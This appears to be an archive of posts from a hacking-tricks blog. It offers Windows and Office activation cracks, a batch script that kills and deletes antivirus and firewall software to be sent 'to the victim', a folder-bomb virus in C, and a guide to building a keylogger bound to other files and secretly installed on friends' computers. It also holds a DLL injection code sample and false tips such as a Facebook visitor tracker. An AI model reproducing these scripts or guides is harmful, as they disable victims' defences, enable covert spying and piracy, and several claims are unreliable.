Showing posts with label Windows Tricks. Show all posts
Showing posts with label Windows Tricks. Show all posts

Monday, 11 August 2014

Activate Window 8

                                  Activate window 8




Uff friends after lot of searching on internet I finally found the working software that really activate window 8.

so lets heres the trutial to install it
1. First of all install window 8 (you can download it from net or u can borrow it from your friend)
2. After completely installation of window Download the .RAR file given below.
3. Extract it anywhere.
4. 2 files left after extracting one is of instruction nd other one is of loader
5. Right click on the file and click on run as adminstrator( note:-run as adminstrator very important)
6. wait for while and your pc automatically restart.
7. After restration you will see your Window 8 is activated

Hope you will like this

For Download  click here file is of 2.1mb 


if you want picture trutial then comment below

Thursday, 1 May 2014

Download Windows 8.1 Product Key Finder Ultimate v13.12.2

Download Windows 8.1 Product Key Finder Ultimate v13.12.2
Windows 8.1 Product Key Finder is a program that searches for licenses in different servers for Windows 8.1 all types of publications. The Keys are automatically updated daily. This software is one of the best for Windows 8.1 Activators with daily key updates.Its a best program in order to permanently activate your Windows 8.1. In addition to it its easy to use and does not require experience to bring the activation keys to use when trying to activate the program.

Features:
-Key Finder for Windows 8 / 8.1
-Uninstall Product Key for Windows 8 / 8.1
-Activation Backup for Windows 8 / 8.1 and Office 2013
-Semi-automatic Skype activation for Windows 8 / 8.1 (Permanent activation via phone)
-KMS Activator:
Safe activator with no harm to System Files
Period of activation is 180 days and you can renew it
You can remove any previous activations

Requirements:

Net Framework 2.0
Internet Connection

Windows 8.1 Product Key Finder Ultimate Changelog:

What's new in version 13.12.2 Christmas Edition
Updated keys several times per day.
Stable version.
Add new Features.
Fixed all Bugs.

Microsoft Toolkit 2.6 All Windows & Office Activator

Microsoft Toolkit 2.6 All Windows & Office Activator
This is a set of tools and functions for managing licensing, deploying, and activating Microsoft Office and Windows. All output from these functions is displayed in the Information Console. All functions are run in the background and the GUI is disabled to prevent running multiple functions, as they could conflict or cause damage if run concurrently. The Microsoft Office Setup Customization Functions (Customize Setup Tab), AutoKMS Uninstaller (if AutoKMS is installed), AutoRearm Uninstaller (if AutoRearm is installed), Office Uninstaller and Product Key Checker work even if Microsoft Office or Windows is not installed/supported. For information about individual functions, see the program readme.

Requirements:

Microsoft .NET Framework 4.0 or 4.5 (Not 3.5)
Microsoft Office 2010 or Later for Office Toolkit Support
Windows Vista or Later for Windows Toolkit Support

2.5 BETA 4
  • -Fixed registry exception if installing a new TAP Adapter
  • -If another TAP adapter is using the LocalHost Bypass IP that adapter will be set to DHCP
  • -More WinDivert failure logging to distiguish it as the cause of 0xC004F074 activation failure
  • -TAP Adapter used for activation will be automatically removed, and without VPN disruption
  • -Updated WinDivert to 1.1.1
  • -Using 2 variants of TAP Adapter based on current TAP Adapter to avoid VPN conflict
File Info

Name: Microsoft.Toolkit.v2.5.0.Beta.4.exe
Size: 37.0
CRC32: 053DE44C
MD5: 8F12134F78C46D8D5B14F50D5FD11862
SHA-1: 427DC4CDA741159A0E4368781B6EB240CA74C38E


Wednesday, 30 April 2014

TOR Browser

TOR BROWSER
tor official logo
frnds TOR BROWSER is vry useful nd one of my favourate softwares. In my opinion everyone need this softwares specially college students,workers work on offices


TOR browser is available o windows, linux, mac


tor function:-
Tor helps people by opening blockwebsites like it helps office employs to open websites other than their work with privacy
Tor also helps college students by unbloking bloked websites like facebook, and many mores

In tor's official website it is written that :-
The Tor software protects you by bouncing your communications around a distributed network of relays run by volunteers all around the world: it prevents somebody watching your Internet connection from learning what sites you visit, it prevents the sites you visit from learning your physical location, and it lets you access sites which are blocked.

running tor browser is very easy first download tor browser from tor's official website given below http://www.torproject.org.in/download/download-easy.html.en

afterword you will know how to run it
for any problems comment below

Make your own antivirus

Make your own antivirus
ya thats right you can make your own antivirus withjust typing fer words on notepad

as for making a antivirus legal documents should be needed nd a legeal permission.But this is small document so don't its only for education purpose


for this just type the following word in notepad.....
@echo off
title Antivirus
echo Antivirus
echo created by your name
:start
if exist virus.bat goto infected
if not exist virus.bat goto clean
cd C:\Windows\system32
:infected
echo warning virus detected
del virus.bat
pause
goto start
:clean
echo System secure!
pause
exit 
save this file as antivirus.bat(you should chnge name but .bat is neccesary)
when you double click on the file it will start scanning your computer

Best Cracking Tools

Some of the best Password cracking tools


In this post i am going to write about various password cracking tools. These password cracking tools includes, network password cracking, windows password cracking, ftp, http, telnet, IMAP, rlogin, SSH and various other protocol password cracking tools.


These are some popular password cracking tools:


Cain and Abel: This is a free password cracking tool for windows systems. It allows users to recover various kind of passwords. This password cracking tool recover passwords by sniffing the network, cracking encrypted passwords using dictionary, brute-force and crypt-analysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.


John the Ripper: John the Ripper is a fast password crcking tool available for UNIX/Linux and Mac OS X platforms. This is not a free tool but there is a free trail version available to download.


Ophcrack: Ophcrack is a best windows password crcking tool. It is a rainbow-table based windows password cracker.  Features of this cracking tool includes LM and NTLM hash cracking, a GUI, the ability to load hashes from encrypted SAM recovered from a Windows partition, and a Live CD version.


THC Hydra: THC Hydra is a a remote password cracking tool. It supports various network protocols including telnet, ftp, http, https, smb, several databases, and much more.


Brutus: This Windows-only cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NNTP, and more.


Medusa: Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few.


Aircrack: Aircrack is a famous wireless network password cracking tool. This is a suite of tools for 802.11a/b/g WEP and WPA cracking. It implements the best known cracking algorithms to recover wireless keys once enough encrypted packets have been gathered. . The suite comprises over a dozen discrete tools, including airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).

Disable Victums Antivirus

How To Disable Victim Antivirus

                  how to disable your victim antivirus

IMP. Note>> I am not responsible for any damage or error reporting in Your pc do it as ur own risk. These coding only for knowledge concept .


Open Notepad Copy it and Paste To Notepad

@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --

save it in .bat extension and send it to the victim




IMP. Note>> I am not responsible for any damage or error reporting in Your pc do it as ur own risk. These coding only for knowledge concept .

Remove Recycle Bin (Basic)

e recycle bin(basic)

Remove recycle bin from computer


HEy frnds today I will tell you how to remove recycle bin from computer

for this just the steps carefully

1.Open Regedit by going to START - RUN
2. type Regedit and hit enter.
3.Then you should navigate to following entry in registry 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} 

4.delete it. 

This action should remove recycle bin from your computer

note:-reverse not possible

Trace your FB profile visitors

Trace your profile visitors

        
 How To Trace Your Facebook Profile Visitors


wow...friends I found a net trick for facebook...It is used to find out who visit your profile recently.......so lets start how we come to know 

follow the steps its vry easy and intresting

Step 1) Go to your Facebook Profile Page.

Step 2) Now Press Ctrl + U from your keyboard for see source code of your profile page.
Step 3) Now press Ctrl + F from your keyboard to open search box.
Step 4) Now search this code {"list":


Step 5) You find some Facebook Profile Ids are like shown below. Click on example image for zoom.
Step 6) There are some Facebook Profile Ids of your friends who visited recently.
Step 7) The first one ID's are showing visits the most number of time. 
Step 8) Now if your want to findout, Open a new tab Enter below link :www.facebook.com/Facebook Profile Id
(don"t include number which are after -
100001257992988 -3 this is written copy upto 88 dont comp"-3" and write link like this www.facebook.com/100001257992988)


Enjoy The Trick.. :)

Create New Folder Virus

Create New Folder Virus


                                   


Hey friends While reading hacking crux by rahul tyagi I found a topic about "How to create a new folder virus"....I don't want to test It but if you want then test it nd give me your feedback....

So heres the trutial let's start

NOTE:-It will create folder in a folder in a folder and so on run this on your own responsibility
1.open NoTEPAD and copy the following code in c language
 #include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(‖————————————————————————–‖);
printf(‖\nVirus: Folderbomb 1.0\nProgrammer:BAS
Unnikrishnan(asystem0@gmail.com)\n‖);
cprintf(‖————————————————————————–‖);
done = findfirst(‖*.*‖,&ffblk,0);
while (!done)
{ printf(‖\n‖);cprintf(‖ %s ―, ffblk.ff_name);printf(‖is attacked by
―);cprintf(‖Folderbomb‖);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

2. save this in .bat extension

Rahul‟s Suggestion: - “Well I did not try this virus by my self, so
try this and give me your feedback. But still I do not recommend to
use this virus for bad purpose”

Hacking Operating Systems

Hey Frnds ,



There are many  operating systems that have been designed specifically for hackers. These are preloaded with tools that a hacker needs so I n my advice use these os also....

For any help search on google or youtube you will defenitely get help


  1. Backtrack 5r3
  2. Kali Linux
  3. SELinux
  4. Knoppix
  5. BackBox Linux
  6. Pentoo
  7. Matriux Krypton
  8. NodeZero
  9. Blackbuntu
  10. Samurai Web Testing Framework
  11. WEAKERTH4N
  12. CAINE (Computer Aided Investigative Environment)
  13. Bugtraq
  14. DEFT
  15. Helix 

Keylogging

Keylogging



What Are Keyloggers?

Using key logger utility you will be able to establish full control over your computer. You will also find
out, what was going on your computer in your absence: what was run and typed etc which act as best
children internet protection software. Using the keylogging program constantly, you can restore the
previously typed text in case you have lost it. Keystroke logger software works in the hidden mode and
invisible on Windows operating system including Windows 7/VISTA/XP/Server 2008/NT/98 etc. Not only this keyloggers can also b used to spy on ur frnd's activities on their system.

Benefits of Keylogger

Parental Control

Employee Monitoring

Personal Data and Password Retrieval

 


Lets Start==>

1) First u need to download a key-logger, you can download it from  Click to download from here
2) I am giving tut about Neptune 1.4 only, but you can use 1.45 also, it is a updated version that sends
screenshots also.
After downloading, Extract the .rar file from (Winrar or 7z watever u prefer), open the project's folder, click on project Neptune v1.4, Now it will show a window like shown below, Do whatever mentioned in screen shot.
Note: i am giving tut for getting logs by mail (gmail here), but you can use other also, or can use ftp
server also.
3) Now go to 'Server Creation' tab and press 'Generate new server' under 'server creation', and give
name of your keylogger and thats it.. you are done :)
4) Make it self destructive :In tab Extra options, you can check 'self destruct on ', if you want
that it should be remove after any particular date.
5) Add Icon: You can also add any icon to the final keylogger file, for that go to 'Server
Creation' tab and select 'Use file icon' under 'server settings' and select any icon file.
6) Binding: You can bind it with any other file also, for that press the file binder button, a
window will open(as shown in screen shot)then right click and select 'add file' and then select
anything for ex. any software, movie, video, song etc. with which you wanna bind it. 5.1) After
selecting the binding file, dont close this window, and go to step 3.
Now Upload this file on mediafire or any other website and ask ur frnds to dwnld it or jst secretly install this file on their system. Now u will recieve logs of all the text typed by the user and all the activities done on that system in the email u provided. Enjoy :) 
NOTE==>Sreenshots: (only available in naptune 1.45) Go to Extra options, check 'send screen shots' under
'Screenshots'.

SSL Proxy Sites

SSL Proxy Websites



Latest SSL Proxy Website:



                                                                           





Above  service use HTTPS and your connection is encyrpted.
These proxy website most use for free fast SSL Proxy. 


Enjoy surf .

Code Injection and API Hooking Techniques

Code Injection and API Hooking Techniques

Hooking covers a range of techniques used for many purposes like debugging, monitoring, intercepting messages, extending functionality etc. Hooking is also used by a lot of rootkits to camouflage themselves on the system. Rootkits use various hooking techniques when they have to hide a process, hide a network port, redirect file writes to some different files, prevent an application from opening a handle to a particular process and many more. In this article I will be explaining the various API hooking techniques used by some advanced rootkits. There are lots of Code Injection techniques but I will tell about DLL Injections because these assist hooking activities to inject and execute malicious code.

DLL Injections

DLL injection is a technique used for running code within the address space of another process by forcing it to load a DLL. DLL injection is used by almost every malware to place malicious routines in user memory. Though DLL Injection will just place a DLL in memory, executing code present in the DLL is triggered after API hooking is done. Let’s have a look at the various methods for injecting DLLs.

a) APPINIT_DLL hook and LOADAPPINIT_DLL

The AppInit_DLLs infrastructure provides an easy way to hook system APIs by allowing custom DLLs to be loaded into the address space of every interactive application.
The above registry key has an entry for a set of DLLs which are loaded in the process memory when the process loads User32.dll. Many malwares try to add their malicious DLLs in the list by modifying the registry key. As almost every user-mode interactive process imports User32.dll, it definitely has a wider existence. Also, the value of the key LOADAPPINIT_DLL should be 1 to allow User32.dll to globally enable the APPINIT_DLL key.
From Windows 7 onwards, a new code-signing requirement is enforced. Developers must code-sign their DLLs if it has to be included in the list so that users can trust the application. To further add protection, Windows 8 has adopted secure boot mechanism. If the OS is secure boot enabled, APPInit_DLLs mechanism is disabled as part of a no-compromise approach. According to Microsoft, the AppInit_DLLs mechanism is not a recommended approach for legitimate applications because it can lead to system deadlocks and performance problems.

b) SetWindowsHookEx

It installs an application-defined hook procedure into a hook chain. We use it to install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same context as the calling thread. The most famous example implementation of this function is a keylogger application. For installing the hook, we require a malicious DLL which exports one or more functions. These functions will be called whenever the hooked events occur. We then create a program which loads the above DLL in memory using LoadLibrary and then call SetWindowsHookEx function. The 1st parameter for function is the specific event which is to be hooked. In case of Keyloggers, the event name is WH_KEYBOARD. Other parameters are name of the DLL and the address of the exported method, which can be found using GetProcAddress.

c) CreateRemoteThread

The CreateRemoteThread function creates a thread in the virtual address space of an arbitrary process. It can be used to inject a custom DLL in the process memory of a remote process.
Following steps are followed in this approach:
1. Call OpenProcess function to get a handle of the target process. In parameters to the function, specify all process access permissions so that the local process is privileged enough to perform write operations later. If we fail to open process with the specified permissions, then there is no point of proceeding further because it will fail.
2. Get the address of Kernel32.LoadLibraryA method using GetProcAddress. Why we need this address you would realise later in step 5.
3. Allocate some memory inside target process’s address space using VirtualAllocEx. The memory size should be enough to store the full path string of the DLL to be injected.
4. Write argument to LoadLibrary to the process’s newly allocated memory using WriteProcessMemory function. In arguments we pass the full path string of DLL. The string has to be written in the target process memory because it can’t access a string in memory of some different process using a pointer.
5. Finally call CreateRemoteThread function with address of LoadLibrary function and the DLL string. This will result in a call to LoadLibrary method in the target process and hence load our DLL successfully. An interesting fact which can be observed here is that this method luckily works because LoadLibrary needs only one argument, and only those methods which have one argument can be called through CreateRemoteThread.
This program would implement all the above mentioned steps.

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
int _tmain(int argc, _TCHAR* argv[])
{
char* buffer = "D:\dllinject.dll";
int procID = 4444; // Assuming you know the process ID

// Get handle to process using all access permissions
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if(process == NULL){
printf("Error: You don't have all the permissions/specified process couldn't be found");
}
//Get address of the LoadLibrary function.
LPVOID addr = (LPVOID)GetProcAddress( GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// Allocate new memory region inside the process's address space.
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// Write the argument to LoadLibraryA to the process's newly allocated memory region.
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
// Inject our DLL into the process's address space.
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
// Close the handle to the process
CloseHandle(process);
return 0;
}

Windows 7 onwards Session Separation technique is being used to limit CreateRemoteThread hooking method. It ensures that core system processes including services always run in session 0 while all user process’s run in different sessions. However, NtCreateThreadEx API has come to rescue as it allows any process to inject DLL into any other process irrespective of session in which it is running as long as it has sufficient privileges. 

IAT Hooking

Import Address Table (IAT) is an array of links representing the various DLLs imported by the PE loader during process initiation. IAT hooking is a technique of modifying the address of a particular DLL in the IAT with address of hook function. Before performing IAT hooking we must make sure that we are able to put the hook function in the user’s address space through any of the DLL injection methods.  IAT hooking will not be useful to us if the target program performs run-tie dynamic linking through LoadLibrary and GetProcAddress APIs to get the real address of each DLL functions. To get around this, hooking the GetProcAddress function would be the only solution but it will be a much tougher job.

Inline Hooking

Inline Hooking is mostly seen in userland process than kernel mode processes. Typically, an inline function hook is implemented by overwriting the beginning of target function with an unconditional jump to a Detour function. Detour function calls a Trampoline function, which contains the overwritten bytes of the original target function, and then calls the target function. The target function returns to the detour function which finally gives control back to the source function. This whole process would appear more clear from the diagram below.
Inline hooking is easy in XP because any function prologue in XP is 5 bytes, and jump instruction also requires 5 bytes (1 byte for JMP’s opcode and 4 bytes for address.)

SSDT Hooking

System Service Dispatch Table is an array located in Kerneland that basically stores the function pointers to kernel routines. It provides syscall or service numbers for each function to all userland processes using which get mapped to actual addresses through SSDT mapping. In order to hook a syscall in the SSDT, we will have thus to replace its address in the SSDT by the address of our function.
The SSDT uses a structure called the System Service Table (SST). In the structure below, ServiceTable is the pointer to our SSDT array.
Struct System_Service_Table
{
    PNTPROC ServiceTable; //SSDT array
    PDWORD CounterTable;
    DWORD ServiceLimit;
    PBYTE ArgumentTable; //SSPT array
};
SSDT is accessed through the KeServiceDescriptorTable variable. This is the main SSDT and it stores function pointers to kernel routines present in ntoskrnl.exe. Similarly there is KeServiceDescriptorTableShadow variable which has two SSDT arrays. The 1st SSDT array is a copy of the previous array whereas the other one stores function pointer to kernel routines present in Win32k.sys kernel mode driver. Every thread gets the KeServiceDescriptorTable pointer into its Thread Control Block. SSDT and Shadow SSDT can be viewed in WinDbg using “dps KiServiceTable” and “dps Win32k!W32pServiceTable” commands respectively which will give a long list of all the APIs from ntoskrnl and win32k. To find whether the SSDT is hooked or not is very simple here. If any function pointer in the list points to address outside the kernel address range, it implies that the SSDT is hooked.
To practically understand how SSDT hooking is implemented in malware codes, you must go through this program given by rohitab.com. In the given implementation, in order to modify the SSDT addresses, the write protection enforced is being disabled by modifying the control register, CR0. Then we get the service number for the API we need to hook using GetServiceNumber API. This service number helps us to calculate the address of the required function pointer. Finally we replace this kerneland address with the userland address of our hooking function.
PatchGuard (or Kernel Patch Protection) is being created for 64 bit OS which prevents kernel from patching. This makes SSDT hooking impossible unless the PatchGuard is disabled by some external tool. Also, SSDT structure and format is being changed a little bit to further complicate the hooking.
PatchGuard protects the OS in following ways:
  • protects system modules (NTOS, NDIS, HAL)
  • protects System Service Dispatch Table
  • protects Global Descriptor Table
  • protects Interrupt Descriptor Table
  • use kernel stacks that are not allocated by the kernel
  • prevents patch of any part of the kernel
But recently exposed Uroburos rootkit by G Data in their red paper mentions how it bypassed the PatchGuard security mechanism. A function named KeBugCheckEx deliberately crashes Windows if it detects this kind of kernel hooking activity (or several other suspect activities). So, naturally, Uroburos hooks KeBugCheckEx to hide its other activities. Further it turns off the Driver Signing Policy by exploiting a known vulnerability in a legitimate driver which allows the rootkit to load its own driver for hooking.

IRP Hooking

An I/O Request Packet (IRP) is the basic I/O manager structure used to communicate with drivers and to allow drivers to communicate with each other. Each driver in Windows creates a number of devices which are responsible for handling IRP of varying types, depending on the underlying system. When a new driver is loaded for a particular device, DriverEntry routine is called which initailizes the driver. It creates Device Objects for each physical, logical, or virtual device for which it handles I/O requests.
I/O manager simultaneously creates a Driver Object and sends a pointer to the Driver Object to DriverEntry routine. The DriverEntry routine is supposed to fill in the DispatchXXX entry points in Driver Object with addresses/entry points for the driver’s standard routines. This is done because only the driver knows the addresses of its Device Objects.
When user-mode applications want to communicate with device drivers and file system drivers, they issue a call through the DeviceIoControl API. The I/O Manager, present within the Kernel Executive module, on receiving the call creates an I/O Request Packet (IRP) and delivers it to the concerned device driver. IRPs are also created when a high-level driver wants to communicate with a lower-level driver. Function codes present in IRP are used to denote which driver function is to be called. Eg. IRP_MJ_READ function code specified in IRP will map to address corresponding to DispatchREAD function in the Driver Object. IRP hooking is performed by modifying the addresses of driver’s routines in the Driver Object, so that when IRP for a particular operation is sent, the hooked routine would get executed.

IDT Hooking

Interrupt Descriptor Table (IDT) stored in IDT register contains pointer to Interrupt Service Routines (ISR). IDT hooking as the name suggest would modify the IDT entries to execute the hook function each time the interrupts are received. As each processor has a different IDT register, we make sure that the IDT entry we want to hook points to the same hooked ISR on all processor cores or else the hook will execute only a certain number of times. IDT register can be manipulated with the LIDT (Load IDT) and SIDT (Store IDT) instructions. SIDT will obtain the address of IDTR, and LIDT being a privileged instruction can be used to make changes to the IDTR. Sample program to perform IDT hooking can be referred from here.
Global Descriptor Table (GDT) hooks are similar to IDT hooks. SGDT and LGDT instructions are used to modify the register contents. These descriptor structures are protected by Kernel Patch Protection as described earlier.

Sysenter Hooking

System calls provide userland processes a way to request services from the kernel. The SYSENTER instructions (and equvialent SYSCALL on AMD) enable fast entry to the kernel, avoiding interrupt overhead. Sysenter is faster than the previous INT 0x2e only because it uses various Model Specific Registers (MSR) like SYSENTER_EIP, SYSENTER_ESP and SYSENTER_CS. To get more understanding on sysenter, like the significance of each MSR and how these are used to fetch the addresses, this FireEye blog would be a good reference. One important concept to note is that Sysenter is called in Ntdll.dll and it jumps to the value assigned in SYSENTER_EIP register which is also called as MSR-176h. That means for sysenter hooking, we have to modify the SYSENTER_EIP register. Modifications to MSRs are done using “wrmsr” instruction. The most easy bypass for Sysenter hooking would be to rewriting the register to its original value, however because KiFastCallEntry is not exported by ntoskrnl, getting the address could be tricky.
Being aware of the API hooking techniques helps us understand how malwares enter the system and hide its activities from user. We also get a fair idea of what to look and where to look for symptoms of possible malware existence in the OS.